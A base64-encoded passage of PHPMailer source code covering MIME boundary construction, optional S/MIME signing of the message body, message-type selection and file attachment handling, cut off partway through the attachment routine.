KCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbM10gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaCBjYXNlICdwbGFpbicgYW5kIGNhc2UgJycsIGFwcGxpZXMgdG8gc2ltcGxlIGB0ZXh0L3BsYWluYCBhbmQgYHRleHQvaHRtbGAgYm9keSBjb250ZW50IHR5cGVzCiAgICAgICAgICAgICAgICAvL1Jlc2V0IHRoZSBgRW5jb2RpbmdgIHByb3BlcnR5IGluIGNhc2Ugd2UgY2hhbmdlZCBpdCBmb3IgbGluZSBsZW5ndGggcmVhc29ucwogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkZW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm4gdGhlIGVuZCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLCBub3QgYXJiaXRyYXJ5IE1JTUUgc3RydWN0dXJlcy4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkKICAgIHsKICAgICAgICAkdHlwZSA9IGFycmF5KCk7CiAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYWx0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5pbmxpbmVJbWFnZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnaW5saW5lJzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsKICAgICAgICAgICAgJHR5cGVbXSA9ICdhdHRhY2gnOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gaW1wbG9kZSgnXycsICR0eXBlKTsKICAgICAgICBpZiAoJHRoaXMtPm1lc3NhZ2VfdHlwZSA9PSAnJykgewogICAgICAgICAgICAvL1RoZSAncGxhaW4nIG1lc3NhZ2VfdHlwZSByZWZlcnMgdG8gdGhlIG1lc3NhZ2UgaGF2aW5nIGEgc2luZ2xlIGJvZHkgZWxlbWVudCwgbm90IHRoYXQgaXQgaXMgcGxhaW4tdGV4dAogICAgICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gJ3BsYWluJzsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYSBoZWFkZXIgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJG5hbWUgLiAnOiAnIC4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGEgZm9ybWF0dGVkIG1haWwgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRleHRMaW5lKCR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGF0dGFjaG1lbnQgZnJvbSBhIHBhdGggb24gdGhlIGZpbGVzeXN0ZW0uCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4KICAgICAqIEV4cGxpY2l0bHkgKmRvZXMgbm90KiBzdXBwb3J0IHBhc3NpbmcgVVJMczsgUEhQTWFpbGVyIGlzIG5vdCBhbiBIVFRQIGNsaWVudC4KICAgICAqIElmIHlvdSBuZWVkIHRvIGRvIHRoYXQsIGZldGNoIHRoZSByZXNvdXJjZSB5b3Vyc2VsZiBhbmQgcGFzcyBpdCBpbiB2aWEgYSBsb2NhbCBmaWxlIG9yIHN0cmluZy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIG9yICFAaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQoKICAgIC8qKgogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gYXJyYXkoKTsKICAgICAgICAkY2lkVW5pcSA9IGFycmF5KCk7CiAgICAgICAgJGluY2wgPSBhcnJheSgpOwoKICAgICAgICAvLyBBZGQgYWxsIGF0dGFjaG1lbnRzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgaXQgaXMgYSB2YWxpZCBkaXNwb3NpdGlvbl9maWx0ZXIKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgICRzdHJpbmcgPSAnJzsKICAgICAgICAgICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw\/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwo